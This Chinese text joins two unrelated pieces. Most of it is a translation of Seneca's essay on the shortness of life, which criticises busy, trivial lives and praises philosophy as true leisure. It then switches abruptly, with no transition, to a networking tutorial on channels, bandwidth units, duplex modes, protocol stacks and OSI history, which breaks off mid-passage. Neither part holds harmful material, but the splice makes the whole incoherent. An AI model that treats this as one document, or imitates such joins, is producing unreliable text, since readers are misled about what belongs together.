      但你不要以为这些人意识不到时间的宝贵。他们经常会对所爱之人说,愿意为他们留出自己的时间,也的确在一无所知的情况下付出了时间。但很遗憾,虽然付出了,对方却没有任何收获,他们自己也不知道损失了什么,于是能忍受时间的流逝。时光不能倒流,风华不能再现。生命一旦开始,就会按照固有的轨迹走下去,不会为任何人变化或倒流。她默默地向前走,不会用任何动作去提醒你注意这种无形的损耗。国王的指令和人民的意志都无法延长时间。从第一天开始,生命就一路前行,不会中止也不会转向。结局又如何呢?就在生命匆匆流逝时,你却被不重要的事情分散了精力。死亡降临时,你虽然尚未准备充分,但也只能被迫接受。

      世上最愚蠢的行为莫过于吹嘘自己的远见卓识。那些自认为目光长远的人,总在为改善生活拼命工作。他们一直在试图管理自己的生活,目光总定位在遥远的未来。然而,拖延才是对生命最大的浪费。它总能在一天刚到来时就将其夺走,未来的承诺剥夺了享受当下的权利。期待是生活最大的阻力,因为期待依赖于未来,却丢掉了当下。试图安排那些本应由命运决定的东西,就放弃了本应由自己决定的东西。你在眺望什么,又在为什么而努力?既然未来不可知,那不妨活在当下。听听大诗人的呼喊吧。仿佛被神的启示照亮,他说出了富有哲理的诗句:

    可怜的凡人啊,生命中最美好的一天,却总被最先丢弃。

      诗人想问的是:“为什么你还在徘徊?还在无所事事?要是不将这一天紧紧抓住,它可就要溜走了。”事实上,即便能够抓住,它最终也还是会跑掉。因此,你必须能让使用时间的速度和时间流逝的速度相匹配。就好像面对随时会枯竭的小溪,你一定要趁机多喝点水。在谴责无休止的拖延时,诗人克制地使用了“最美好的一天”这样的措辞,而非“最美好的岁月”。一个人无论多贪婪,在面对大把时光时,却总能表现出漠不关心和慵懒闲散(虽然时间消逝得最快)。诗人是在提醒你关注当下——也就是很快就会溜走的这一天。对于可怜的凡人,也就是那些琐事缠身者,毫无疑问,最美好的一天总是被最先丢弃。他们虽然思维幼稚,年龄却早已不饶人,于是只能手忙脚乱、稀里糊涂地接受这一事实。他们毫无准备就和老年突然打了照面,却不知这个结果是一天一天累积而成的。就好像用交谈、阅读和冥想打发途中时间的旅行者,不知不觉就会到达目的地。永不停歇、飞速前进的生命旅程也一样,不管清醒还是沉睡,时间流逝的速度都不会改变。那些被琐事缠身的人,只有在生命终结时,才意识到时间的存在。

      如果要将这一主题分成不同的小标题来论述,我能找出大量证据,论证被琐事缠身的生活有多短暂。但法比亚努斯(他不是当下的学院派哲学家,而是一位真正的老派哲学家)常说,击退狂热要靠蛮力而非逻辑,就像击溃敌军要靠猛烈进攻而非小刀小枪一样。恶习不能只是戳戳,必须被彻底粉碎。话虽如此,为了让人们意识到自己的错误,我们还是应该教导,而不是放弃他们。

      人生可以分为三个阶段:过去、现在和未来。现在转瞬即逝,未来飘忽不定,只有过去业已定型。命运无力改变过去,任何人都不能,但这也正是琐事缠身者丢弃的:他们总是没有时间回头看。即便想要回顾过往,重温不堪的往事也不令人愉快,因此,他们不愿意回想被虚度的时光。更何况,当初那些被短暂的快乐掩盖的恶习,在回顾中却变得清晰,于是他们更没有胆量去重温过往。没有人愿意回忆,除非当时所有的行为都能通过内心的审核,而内心无法自欺欺人。因此,不敢回忆过去的人,往往都是贪得无厌、心高气傲、小人得志、背信弃义、巧取豪夺、挥霍无度之辈。可是,过去才是生命中最神圣、最独立的光阴。唯有过去能超越人类一切风险,不受命运的摆布,不被欲望、恐惧或疾病扰乱。过去是屹立不倒、永恒存在的财产,任何事都不能将其打扰或夺走。面对现在,我们只能一点点地使用、一天天地过日子,但我们却能随时召唤过去,随意调用它、审视它。可惜,琐事缠身的人没有时间这么做。只有安详、没有羁绊的灵魂,才可以自由游走于生命的各个阶段;琐事缠身的人则套着枷锁,再也不能回头看,他们的生命就这样消失在深渊中。如果容器没有底部,往里面倒再多液体也无济于事;如果生命没有依托,拥有再多时间也毫无用处,它还是会从思维的裂缝中流走。当下的时间总是短暂,短暂到让人意识不到。当下是流动的、奔流不息的,只在到来前停息过,此后便再无耽搁,就像天空和星辰,斗转星移,永不停歇。被琐事缠身的人只关注现在,可现在短暂到抓也抓不住。更何况,他们还要被各种事情分心,更不可能充分利用现在的时间。

      总而言之,你想知道他们的人生为何如此短暂吗?看看他们对长寿的渴望。风烛残年的老人为多活几年虔诚祷告。他们假装还年轻,并用这种假象来安慰自己,就好像骗过了自己就能欺骗命运一样。可是,当疾病逼得他们走投无路,必须直面死亡时,他们又那样恐惧,仿佛这不是生命的必经阶段,他们是被死神强行带走的。他们说自己是傻瓜,从未真正生活过,如果有机会康复,一定会悠闲地度过余生。接着,他们就会感慨,之前的辛苦有多么徒劳。费尽心力得来的东西,他们却根本没机会享用。但对远离琐碎的人来说,他们的生命却足够充裕。他们不浪费、不挥霍时间,不受命运的摆布,不在漫不经心中虚度,不因无故施舍而浪费,更不会白白丢弃时间。他们合理安排了时间,即便寿命不长,留给自己的时间也足够多。不管死神何时降临,智者都能迈着坚定的步伐坦然迎接。

      或许你要问,文中反复提到的琐事缠身者到底指哪些人?比如那些被看门狗逐出法庭的人;那些要么被支持者体面地压垮,要么被反对者轻蔑地击垮的人;那些因为公务不得不离开家庭,在他人门前奔波的人;那些为了不光彩的利益围着执政官转悠,却最终身败名裂的人。但我想说的还不仅仅是这些人。很多人甚至在休息的时候也要被琐事打扰:他们可能住着乡间别墅,一个人躺在沙发上享受安宁,却不知如何陪伴自己。这样的生活不是悠闲,只能算无所事事。想想那个貌似休息,却焦虑地摆弄着柯林斯铜器的人。他将大量时间浪费在生锈的铁片上,只因它的价格可能会被某个狂热的收藏家炒得离谱;那个坐在角斗场(说来惭愧,我们竟有这样恶俗的爱好,这甚至都不是罗马的发明),聚精会神地盯着角斗士的观众;那个花时间将牲畜按年龄和颜色分类的人;那个为竞技场上的勇士提供赞助的人——你觉得他们悠闲吗?还有那个在理发上浪费很多时间的人,头发要一丝不乱,一会儿觉得这里不够整齐,一会儿又要修剪两边稀疏的头发,好让它们恰好遮住额头,虽然明知道再怎么打理,剪掉的头发很快还会长出来。理发师一旦稍有不慎,他就大为光火,仿佛修剪的不是头发,而是整个人!要是哪根头发没被剪好,或是打理得不够仔细,甚至只是有几根没被束入发圈,他就会异常愤怒。你觉得这样的人悠闲吗?这些人宁愿国家一团糟,也不能让头发一团糟;宁愿国家不安全,也不能让发型不体面;宁愿不高尚,也不能不整洁!你觉得这种在梳妆打扮上浪费时间的人悠闲吗?还有一群人,他们每天忙于作曲,花大量时间聆听和研究音乐,把原本简单悦耳的旋律,故意扭曲成不自然的调式。他们成天在脑海中想象各种旋律,手指也要忍不住跟着打节拍,即便正在出席严肃甚至是悲伤的场合,这些人也总会忍不住哼出声来,这不是悠闲,而是懒散地工作。还有那些宴会!天哪,我真是无法将宴席和悠闲联系在一起!他们忧心忡忡地摆放餐具,为侍者精心打理服装,焦虑地指挥着厨师准备菜肴,再看看那些一脸温顺却又紧张兮兮地跑来跑去的奴隶。他们把家禽熟练地切成合适的分量,小心翼翼地为喝醉的宾客拭去口水。如此这般努力,只为博一个优雅、有品位的好名声。不铺张浪费一下,他们都不知道如何正常吃饭。

      我也不会称这类人悠闲:他们坐着轿子,准时在一个又一个场合出现,仿佛哪个都离不开自己。他们需要被提醒什么时候沐浴、什么时候游泳、什么时候用餐;他们几乎放弃了独立思考,变得麻木颓废,连自己是否饿了都不确定。我就听说过这么一个任性的人——如果“任性”能被用来形容这种连最起码的生活常识都不愿意学习的人——当他被从浴室抬出来,放到轿子里时,他竟然问:“我现在坐好了吗?”这种连自己是否坐好了都不知道的人,你觉得他会知道自己是否活着、能否看见、能否算作悠闲吗?我甚至都不确定应该为他确实不知道还是假装不知道而同情他。的确,他们忘记了很多,有时也会假装忘记一些事。他们以恶行为乐,以此证明自己的好运。在他们看来,似乎只有卑微可鄙的人,才知道自己在做什么。现在你是不是觉得,喜剧演员嘲讽奢靡之风的表演毫不过分!可抨击的地方实在太多了,人们在作恶方面确有天赋。如果说那些喜剧演员的表演有什么不足,那就是他们表现的罪恶太少了,远不能反映这个时代的真实状况。就像上面提到的,有些人已经颓废到需要别人来告知自己是否坐好。显然,用“悠闲”来形容这种人实属不妥,或许“有病”甚至“死了”是更为精准的表述。真正悠闲的人,能清楚地意识到自己的悠闲;而这个人却半死不活,连自己身体的位置都不清楚,他又怎么可能掌控时间呢?

      更不用提那些沉迷于下棋、打球、小心翼翼晒着日光浴的人以及他们的无聊人生了。还有一些人热衷严肃地钻研某些学问,比如将全部时间用于无用的文学研究,这也不能算悠闲。现在罗马就有一大群这样的人,相信大家都会觉得他们的付出毫无意义。以前只有希腊人才关心诸如尤利西斯有多少船夫,先有《伊利亚特》还是先有《奥德赛》以及它们是否是出自同一位作者这类傻问题。这些问题不能增加个人学识,即便研究成果被发表,大家也只会觉得你是书呆子,而非学者。遗憾的是,现在罗马人也开始沉迷于追求这种无用的知识了。最近我就听说,有人发表了相关研究,以证明哪个罗马将军率先做了哪些事,比如杜伊利乌斯第一个赢得海战,库里乌斯·登塔图斯首次将大象引入凯旋仪式。这些研究显然无法为历史的荣耀添砖加瓦,但至少和国家宣传稍有联系;虽然是一堆无用的事实,但它至少通过这些无足轻重的事实吸引了我们的注意力。还有人研究第一个说服罗马人登船的是谁,我想我们也可以原谅他:是克劳狄乌斯——他因此被加上了科德克斯(Caudex)这一姓氏,因为在古代拉丁文中,几块木板连在一起就叫“科德克斯”,法典(codex)这个词也源自于此。即便今天,台伯河上的运粮船也沿用了“codicariae”这一古代的名字。了解是瓦莱里乌斯·科维努斯率先征服了墨西拿(Messana)也很重要,而且他还是瓦莱里家族中第一个用被征服城市的名字“墨西拿”作姓氏的人。后来,这个姓氏在口口相传中被错拼成了梅撒拉(Messalla)。还有人仔细研究了卢基乌斯·苏拉最早是如何将没有束缚的狮子引入角斗场的。通常它们会被脚镣困着,博库斯国王还曾派标枪手去屠杀它们。好吧,研究这些或许可以被原谅,但这到底对人生有什么帮助呢?庞培最早将十八头大象引入角斗场,让它们和无辜的人搏斗。不少元老都说庞培作为国家领袖“和蔼可亲”,但他竟然认为用这种新颖的方式剥夺他人的生命让人难忘?“让他们战斗至死?不够壮观。让他们被撕成碎片?也不够壮观。不如让他们被巨型动物活活压死吧!”这些事情还是被忘记为好,以免未来的执政官知道了,又试图在惨无人道上玩出新花样。唉,当年罗马看似一片祥和,其实却隐藏了那么多至暗时刻!他将那些可怜的男人扔到外来野兽的脚下,让他们搏斗厮杀;他在罗马人民面前展示了血腥的场面,很快又要求罗马人民为他流血战斗。当时,他相信自己超越了自然的力量。可最后呢?庞培在亚历山大港遭遇背叛,死于最低等的奴隶之手。恐怕直到那时,他才意识到自己的姓氏只不过是徒有虚名的吹嘘。

      言归正传,看看有些人是怎么在相同的问题上翻来覆去浪费时间和精力的。比如上面提到的某个人,他说梅泰卢斯在西西里征服了迦太基后,首次用一百二十头大象为战车开道,苏拉则是最后一个延长罗马城界(罗马神圣城墙的范围)的人。一旦占领意大利,就要延长城界,这似乎已经成了惯例。了解这些,会比知道其他事情更有用吗?这个人还说,阿文提诺山之所以在城界之外,主要有两个原因:要么是平民都撤到了那里,要么是雷穆斯在那里预言了飞鸟的不吉利——总之,有些人就是热衷这样的错误或是谎言。退一万步说,就算他们做这些研究是出于好意,甚至还能保证这些真实可靠,难道就会降低谁的过错、减少谁的狂热吗?难道社会能因此变得更自由、公正、包容吗?难怪法比亚努斯过去常说,与其卷入这样的研究,还不如不参与任何研究。

      只有潜心钻研哲学的人,才是真正悠闲自在、真正活过的人,因为他们不仅密切关注自己的人生,还能从其他时代吸取生活的经验,让历史为他们的生活增添色彩。如果懂得感恩,我们就会明白,那些创立了哲学体系的伟人其实是为我们而生,为我们开创了某种生活方式。正是前人的辛苦付出,我们才能从黑暗步入光明,享受现在的一切。只要愿意,我们可以触摸那些过往岁月;只要愿意被崇高的精神指引,去超越人类弱点的局限,我们就可以在历史的时间大道上驰骋。我们可以同苏格拉底辩论,向卡涅阿德斯质疑,和伊壁鸠鲁一起归隐,同斯多亚主义者一同克服人性的弱点,和犬儒主义者一起超越人性的极限。我们既然能同各个时代建立联系,为何不从当下转瞬即逝的时间中走出来,全身心地投入过去呢?毕竟,过去的时光才是无限和永恒的,我们可以随时向更优秀的前辈学习。

      终日为社会职责奔波的人,不仅打扰别人,也扰乱了自己的生活。他们总是按时完成日常拜访,忙碌地穿行于各家各户,不放过任何有人的房子,带着自私的目的问候他人,从一户人家跑到相距甚远的另一户人家。可是,城市那么大,欲望那么多,真正愿意见他们的人又能有几个?有多少人因为昏昏欲睡、私事缠身、冷漠无理,就将他们硬生生地拒于门外呢?又有多少人,在让他们等待良久以后,佯装忙碌从他们身边匆匆而过?还有一些人,他们宁愿避开人来人往的大堂,选择从隐蔽的小门悄悄溜走,仿佛欺骗访客要比直接拒绝来得友善一样。还有一些人,他们因为宿醉而半睡半醒,慵懒地打着哈欠,需要被别人低声提醒一千遍,才能勉强张张嘴唇,和那个因为登门拜访不得不放弃睡眠的可怜人打招呼。

      只有那些愿意每天同芝诺、毕达哥拉斯、德谟克利特——人文学科的大师,以及亚里士多德和色奥弗拉斯多为伴的人,才是真正在履行人生的使命。智者永远都不会缺席。他们总能让到访者心满意足、满载而归,并且变得更专注于自己。他们不分昼夜,永远在那里等待着到访者的光临。

      他们不会强迫你选择死亡,只会告诉你应该如何面对死亡;他们不会消耗你的时光,只会用自己的岁月去延长你的生命;同他们交谈不会给你带来灾难,和他们为友不会危害你的生活,追随他们更不需要你花费金钱。他们愿意为你倾尽所有——如果没有从他们那里尽可能地索取,那只怪你自己不够努力。可以想象,选择和这些人结伴,你的老年生活将会多么幸福惬意。这些好朋友会随时聆听你的困惑,解答你各种各样的问题。他们告诉你真理,却不挖苦你;他们真心赞扬你,却不奉承你;如果你需要榜样,他们可以随时被效仿。

      人们常说,父母是命运分配的,我们无权选择,但我们却有权选择成为任何人的子女。不妨从那些富有智慧的高贵家庭里,选择一个你最希望被收养的。你能继承的不仅是他们的名分,还有财产。你不必带着一颗吝啬的心去小心翼翼地保护这些财产。事实上,和越多的人分享,它就越有价值。这样的家庭会为你指明通往不朽的道路,将你引领到一个新高度。一旦上升到这种高度,你就不会再走下坡路。只有这样,生命才能得到延续甚至永恒。所有那些荣誉、纪念碑,被史书记载或是雕刻在石碑上的雄心壮志,都会迅速化为乌有。没有什么能经得住时间的冲刷和打磨,除了被哲学赋予神圣光芒的伟大作品。时间无法摧毁、破坏它们,相反,它们只会随着时间的推移越来越被重视。毕竟,人们容易嫉妒近在咫尺的事物,却往往能够自由欣赏历史长河中的作品。哲学家的生活更具广度,不会受限于大多数人所要面临的禁锢。他们能够超脱人类的局限,并因此被后世奉为神明。他们回忆并拥抱过去、珍惜并利用当下、期待并畅想未来。他们将所有的时间融为一体,于是拥有了超越凡人的生命。

    而那些忘记过去、浪费当下、恐惧未来的人,他们的生命却异常短暂和苦恼。只有到了生命尽头,那些可怜人才会意识到,人生漫漫,他们虽忙忙碌碌却毫无作为。

    他们甚至会渴望死神的到来,但这并不能说明他们已经活得足够长了。因为愚昧,他们陷入烦躁的不安全感,转而开始期盼那些让他们恐惧的事:因为害怕死亡,所以宁可它早一点到来。他们有时会觉得一天很长,抱怨时间过得太慢,好像总要在百无聊赖中等待晚餐的到来,但这也不能说明他们活得足够长。一旦注意力没了落脚点,他们就会坐立不安、无所事事,完全不知道如何面对这种闲适,如何打发时光。他们焦急地期盼着有事可做,等待的时间总显得漫长乏味:就像等待角斗表演、展出或是娱乐活动开始的那种心情——他们希望能直接跳过等待的时间。一旦某项期待已久的活动被推迟,他们就会感到极度无聊。可是,当享受真正开始时,时间又总是飞快流逝,这多少也是他们自己的过错。他们总是喜新厌旧,不停变换着娱乐方式,很难专注于一种爱好。他们的日子不漫长却令人生厌。与此同时,那些沉醉于酒精和性欲的夜晚,更是过得太快!疯狂的诗人还编造故事来鼓励人性的这种弱点——他们说朱庇特就是因为沉迷于性爱的欢愉,才将夜晚的时间延长了一倍。他们竟然不惜用神作例子来助长人类的罪恶。他们把神变得荒淫无度,以此为人类的过错找借口。显然,对这些人来说,他们付出代价换来的夜晚,的确是太短暂了!他们期待夜晚,并因此丢掉了白天;他们恐惧黎明,并因此丢掉了夜晚。

      因为这些恐惧,享乐也变得令人焦虑不安。一旦到达了快乐的巅峰,恐惧就会随之而来。他们开始问自己:“这种快乐还能持续多久呢?”因为这种担忧,国王面对手中的权力时忍不住发出叹息。想到自己的好运气,他们却高兴不起来,总担心这一切会烟消云散。当年傲慢的波斯帝国国王在广阔的草原上排兵布阵时,看着眼前数以万计的宏大军队,竟然忍不住流下了眼泪——他知道百年之后这些都将不复存在。讽刺的是,正是这个流泪的男人为军队带来了厄运。没过多久,这些兵马就因征战和逃亡丧命于海洋、陆地,而他当年竟然还为百年之后这些人的命运担忧。

      为什么他们的快乐总夹杂着不安?因为这些快乐只是源于一些毫无理由的刺激,没有牢固的根基。试想一下,那些凌驾于别人之上、连当事人自己都觉得腐朽罪恶的快乐,又怎么可能纯粹呢?所有的好运都伴随着焦虑,因为运气就像公平一样不可靠。我们需要新的繁荣去维护现有的繁荣,用新的祈祷去保佑业已实现的祈祷。偶然收获的东西都不稳定,爬得越高就越容易摔倒。既然注定要消逝,又怎么可能带来快乐?对为得到财富付出千辛万苦、还要付出更多辛劳来守护它的人来说,生命不仅短暂而且痛苦。他们辛勤劳作,终于换来了期待的收获,又要开始带着焦虑和不安拼命守护这些果实。可他们忘记了,用掉的时间是收不回来的。新消遣总会取代旧消遣,希望能带来更多的希望,野心会孕育更大的野心。他们并不试图终结这种痛苦,最多只会为它换个新理由。于是,当享受公众荣耀开始变得痛苦时,我们转而开始为他人的荣耀奋斗;不再担任候选人,我们就开始为别人拉票;决定逃离担任检察官的烦恼时,我们又开始承担法官的责任;终于可以不当法官了,我们又成了法院院长;终日靠管理别人的财产而活,有一天我们老了,又要开始把时间花费在打理自己的财产上。马略刚结束戎马生涯,就开始在执政官的岗位上忙碌;昆提乌斯每次担任独裁官都想交卸权力,但最后元老院还是将他从田里请了回去。西庇阿尚无足够的作战经验,就被迫同迦太基交战。他战胜了汉尼拔,战胜了安条克三世,不仅担任执政官时表现突出,还是弟弟的稳固支柱。如果不是自己阻止,他的雕像恐怕早就被安置在朱庇特旁边了。但国家的动荡总会困扰那些试图拯救它的人。年轻时他蔑视那些只应赋予神的荣耀,年老后则固执地以流放为乐。是的,无论富裕还是贫苦,人总会有不安的理由。生活就这样,被一个又一个渴望推着向前走。我们永远在渴望悠闲,却又从未真正享受过悠闲。

      因此,亲爱的保利努斯,赶快逃离这奔流不息的人群吧!你已经承受了不属于这个年龄的打击,现在更应该选择宁静平和的生活。想想你人生中那些因公因私而来的大风大浪。长久以来,作为积极进取的公众人物,你的人品早已得到了大家的认可。现在,不妨试着在隐退中发扬这种品德。你生命的大部分时间,当然也是最美好的时间,都已经奉献给了国家,如今不妨多留一点给自己吧。我不是要你懒惰,或是无目标地闲散,更不是让你将宝贵的时光浪费在睡觉或是凡夫俗子热衷的娱乐上。那都不是真正的休闲。当你退休了,开始享受内心的宁静,你就有机会发现那些更值得忙碌、比迄今为止做过的一切都更重要的事情。的确,你管理世界的账目,像管理别人的账目一样一丝不苟,像管理自己的账目一样小心翼翼,像管理国家的账目一样认真负责。这样的工作很容易引发矛盾,但你却依然得到了人们的认可。但请相信我,了解生活的资产负债表,一定比了解玉米交易的资产负债表更有用。要记住,你精力充沛,可以承担更重要的责任。当下的工作虽然也很体面,但并不让人快乐。年轻时你所受过的人文教育,并不是为了让你有能力去照顾成千上万的玉米。你曾有过更伟大、更高尚的目标。这个世界从不缺少辛勤工作、值得信赖的人。反应迟缓的牲畜往往比纯种马更适合驮重,毕竟,谁愿意被沉重的货物拖累了天赋的速度呢?想想工作时的焦虑:你要负责全人类的温饱。可是,饥饿的人群并不听道理,也不满足于公平,更不会因你的恳求而改变。就说说近年来的事情吧。盖乌斯·恺撒恐怕一直到死后几天都还在沮丧(如果逝者也有感情),因为他知道罗马人民的粮食供给最多只能维持七八天,自己却还在挥霍国力,兴建桥梁船只。人民缺少粮食,比被敌军围困更为艰难糟糕。为了仿效国外那位狂妄自大、注定灭亡的国王,他几乎造成了整个城市的饥荒以及随之而来的大崩溃。而掌管粮食的人,当他们面对石头、刀剑、炮火以及恺撒的威胁时,又会作何感想呢?相信他们会努力隐藏这种潜伏在国家命脉中的隐患,而这往往也是源于好意。就像有些疾病只有在病人不知情的前提下才能治愈,一旦真相大白,病人往往不治而亡。

      因此,是时候隐退,去从事更安静、安全和重要的工作了。负责监督玉米的运送,避免粮食因为送货人的狡诈或粗心而蒙受损失,确保它们完好无损地存储在粮仓中,不因受潮或太热而变质发霉,保证它们的数量和重量都符合标准——你真的认为这和从事神圣崇高的研究是一回事吗?通过这些研究,你会了解神的本质,他的意志、生活方式和形象;你会明白等待灵魂的命运是什么,当我们终有一天脱离身体时,自然会将我们安放在何处;你会懂得是什么力量在中心支撑着世界最重的元素,又是何种力量让最轻的元素悬浮于上,是何种力量将火送往最高处,又是何种力量让群星运行有序——总之,你能一直吸收精彩纷呈的知识。你真应该辞去现在的工作,开始哲学研究了。趁自己还有一腔热血,将精力花费在更有价值的地方。你会在新领域中发现无数值得学习的知识,比如对美德的热爱和实践、对激情的淡漠、生命和死亡的意义以及宁静致远的人生。

      的确,被琐事填满人生很可怜,但更可怜的是被别人的琐事填满人生。他们要按别人的作息调整自己的睡眠时间,根据别人的步伐调整自己的脚步,甚至在爱与恨这些本应自由的事情上,都要服从别人的命令。如果这些人想了解生命的长短,不妨先让他们看看,到底真正留给了自己多少时间。

      因此,如果你看到一个人屡次官服加身,或者总能在广场上听到他的名字,不要羡慕,这些所谓的成就都是以生命为代价换取的。为了让某个年代以自己的名字命名,他们牺牲了所有的岁月。一些人很早就开始为野心打拼,可惜尚未抵达理想的巅峰就失去了生命;一些人经历千番屈辱,终于获得了至高无上的权力,却难逃阴郁落寞,因为苦难换来的不过是一篇无用的墓志铭;一些人在年老体衰后发现了新的希望,于是假装还年轻,然而身体却早已不堪重负。长者为赢得不知情旁观者的掌声,在法庭上气喘吁吁地为某个素不相识的当事人辩护是不体面的;在执行公务时累倒也是不体面的,因为让他疲劳的不是工作本身,而是他选择的生活方式;在算账的时候累死就更不体面了。恐怕等待已久的继承人,这时都会忍不住露出如释重负的微笑。这里我还想分享一个例子。塞克斯图·图拉尼乌斯一向以谨慎和勤劳著称。九十岁那年,盖乌斯·恺撒下令让他退休。于是,他躺在床上,让身边的人围着他哀悼,仿佛他已经死了。就这样,整屋子人都在为老主人哭泣,直到他又爬起来,重新开始工作。以身殉职真那么令人愉快吗?很多人都这么认为。即便身体条件不允许,他们还是渴望继续工作。为此,他们同虚弱的身体顽强斗争。在他们看来,年老是一种折磨,他们因此被束之高阁,无法继续发挥作用。虽然法律明文规定五十岁以后不能当兵,六十岁以后不能进元老院,人们却常常无法接受这种被法律赋予的悠闲。他们宁愿在掠夺与被掠夺中奔波,互相折磨,不得安宁。他们向来不知满足,不懂愉悦,更没有任何精神上的进步。他们从不考虑终将面对的死亡,从不放弃好高骛远的希望,甚至会提前将死后的事情都安排好——宏大的坟墓、公众纪念仪式、葬礼上的表演、下葬时的奢侈。但事实上,这些人的葬礼只需火把和蜡烛就够了,因为他们的生命才是最短暂的。

  • 计算机网络通讯

    计算机网络通讯

    基本概念

    信道(channel)

    通讯领域的基本概念,信道就是“传送信息的通道”。

    信道的类型

    信道可以从广义上分为“物理信道 & 逻辑信道”。顾名思义,“物理信道”就是直接使用某种【物理介质】来传送信息;至于“逻辑信道”,是基于“物理信道”之上抽象出来。

    信道的带宽

    带宽指的是:某个信道在单位时间内最大能传输多少比特的信息。
    电气领域 & 计算机领域都有“带宽”这个概念,但两者的定义不太一样。电气领域所说的“带宽”指的是“模拟带宽”,单位是“赫兹 / Hz”;计算机领域所说的“带宽”指“数字带宽”,单位是“比特率”或“字节率”。

    带宽的单位

    “比特率”或“字节率”很容易搞混淆。用英文表示:大写字母 B 表示【字节】;小写字母 b 表示【比特】。由于带宽的数字通常很大,要引入“K、M、G”之类的字母表示数量级,于是又引出一个差异:“10进制”与“2进制”的差异。
    【10进制】的 K 表示 1000;M 表示 1000×1000(1百万)
    【2进制】的 K 表示 1024(2的10次方);M 表示 1024×1024(2的20次方)
    为了避免扯皮,后来国际上约定了一个规矩:对【2进制】的数量级要加一个小写字母 i。比如说:Ki 表示 1024;Mi 表示 1024×1024 …… 以此类推。
    举例:
    1Kbps 表示“1000比特每秒”
    1KiBps 表示“1024字节每秒”

    信道的工作模式:单工 VS 半双工 VS 全双工

    再来说说信道的工作模式。大致可以分为如下三种:

    • 单工(simplex)
      比如“电台广播”就是典型的【单工】。“电台”可以发信号给“收音机”,但“收音机”【不能】发信号给“电台”。
    • 半双工(half-duplex)
      比如“单条铁路轨道”,就是典型的【半双工】。火车在单条铁轨上,可以有两种运行方向;但对于同一个瞬间,只能选其中一个方向(否则就撞车了)。
    • 全双工(full-duplex)
      比如“光纤”就是典型的【全双工】。在同一根光导纤维中,可以有多个光束【同时相向】传播,互相不会干扰对方。

    端点

    为了叙述方便,把参与通讯的对象(主体)称作“通讯端点”,简称“端点”。这里的“端点”是广义的,可以是硬件(比如某个网卡),也可以是软件(比如某个应用程序)。

    单播、组播/多播、广播、选播

    对于“网络通讯”,至少得有 N 个端点参与,并且【N ≥ 2】才有意义。当 N 个端点构成一个网络,这时候就会涉及到“单播、组播、广播”这几个概念。

    • 单播(unicast):发送给网络中的指定的【单个】端点
    • 组播/多播(multicast):发送给网络中的指定的【多个】端点
    • 广播(broadcast):发送给网络中的【所有】端点
    • 选播(anycast):发送给网络中随机选择的【单个】端点

    通讯协议(protocol)

    所谓的“通讯协议”就是:参与通讯的各方所采用的某种【约定】。只有大家都遵守这个约定,才有可能相互传递信息。例如:两个人要用自然语言交流,前提是:双方使用相同(或相互兼容)的自然语言。“通讯协议”就类似某种自然语言,参与通讯的多个端点,都必须能理解这个语言。

    从“分层”到“参考模型”

    分层

    在聊“分层”之前,先说说“分工”。例如在一个公司中,通常设有不同的工种/岗位,这就【分工】。对于网络通讯也是如此,不太可能用一种通讯协议完成所有的信息传递任务(注:对于特别简单的网络,或许有可能只用单一协议;但如今的网络通讯已经很复杂,用【单个】通讯协议包办所有事情,已经不太可能)一旦采用了多种通讯协议,这几种协议之间,该如何配合?

    在网络通讯领域,采用的是【分层】的设计思路。多个层次的协议在一起协同工作,技术上称作“协议栈”(Protocol Stack)。

    协议栈的原理

    对于多层次的协议栈。每个层次都有各自的“端点”(进行通讯的主体)。处于【同一层次】的两个端点会使用该层次的协议进行通讯(注:同一个层次的协议,可能只有一个,也可能有多个)。

    除了最顶层,每个层次的端点会向其【直接】上层提供“服务”;除了最底层,每个层次的端点会调用【直接】下层提供的“服务”(“服务”指某种“编程接口”)

    协议栈示意图
    服务与协议之间的关系

    逻辑信道

    每个层次会向上一个层次提供服务(API 调用)。对上层而言,调用下层提供的 API 发送信息,其效果相当于在使用某种【信道】进行通讯,这也就是“逻辑信道”。

    逻辑信道示意图

    数据格式的原理

    大部分协议会把要传送的数据切割为 N 份,每一份就是一个数据包。通常来说,数据包的格式有如下三部分:

    • 头部
    • 身体(也称作“有效载荷”)
    • 尾部(注:很多协议没有尾部)

    可以把“网络数据包”与“快递包裹”作一个对照:数据包的“头/尾”,就类似于快递包裹的【包装袋】。数据包的“身体”,就类似于快递包裹里面的东西。

    对于【相邻】两层的协议,【下】层包含【上】层。也就是说:下层协议的【载荷】就是上层协议的【整体】,举例:

    假设你从网上买了一台笔记本电脑。电脑出厂时,电脑厂商肯定会提供一个包装盒。快递公司在寄送这台笔记本的时候,又会在笔记本的盒子外面再加一个包装袋。对应到网络协议——“快递公司的包装袋”相当于【下层】协议;“电脑厂商的包装盒”,相当于【上层】协议。

    上下层协议的格式及包含关系

    网络分层的参考模型

    上述所说的“分层 & 协议栈”只是一个抽象的(笼统的)思路。具体要分几层?每一层要做什么?这些都是很有讲究,网络技术发展了几十年,已经有很多大神提出了各种不同的划分方案,称之为“网络分层的参考模型”(以下简称“模型”)。

    在各种模型中,名气最大的当然是“OSI 模型”(OSI model)。在后续的章节中,会以这个模型为主体,进行介绍。

    除了“OSI 模型”还有一个很出名的模型是“TCP/IP 模型”。

    对“TCP/IP 模型”的分层,不同的文章或书籍,说法不太一样(“3层、4层、5层”皆有),这就引发了一些争议。表达不同意见。为了避免一家之言,贴出维基百科相关链接,其中给出了几种比较有名的说法。

    OSI 概述

    OSI 的历史

    “OSI”的全称是“Open System Interconnection”。先说说它的历史。

    上世纪70年代,“国际电信联盟”(ITU)想对各国的电信系统(电话/电报)建立标准化的规格;与此同时,“国际标准化组织”(ISO)想要建立某种统一的标准,使得不同公司制造的大型主机可以相互联网。后来,这两个国际组织意识到:“电信系统互联”与“电脑主机互联”的性质差不多。于是 ISO 与 ITU 就决定合作,两家一起干。这2个组织的2套班子,从上世纪70年代开始搞,搞来搞去,搞了很多年,一直到1984年才终于正式发布 OSI 标准。

    OSI 标准的两个组成部分

    严格来讲,OSI 包括两大部分

    • 1. 抽象的概念模型,也就是前面提到的【OSI model】。
    • 2. 针对这个概念模型的具体的通讯协议【OSI protocols】。

    OSI 是由 ISO & ITU 联手搞出来。这两个国际组织里面的人,要么是来自各国的电信部门,要么是来自各国的高校学者。总而言之,既有严重的官僚风气,又有明显的学究风气,正是因为这两种风气叠加,所以搞了很多年,才搞出 OSI。
    OSI 的协议实现(OSI protocols),不客气地说,就是一堆垃圾——据说把 OSI protocols 所有的协议文档,全部打印成 A4 纸,摞起来得有一米多高!是不是很吓人?协议搞得如此复杂,严重违背了 IT 设计领域的 KISS 原则
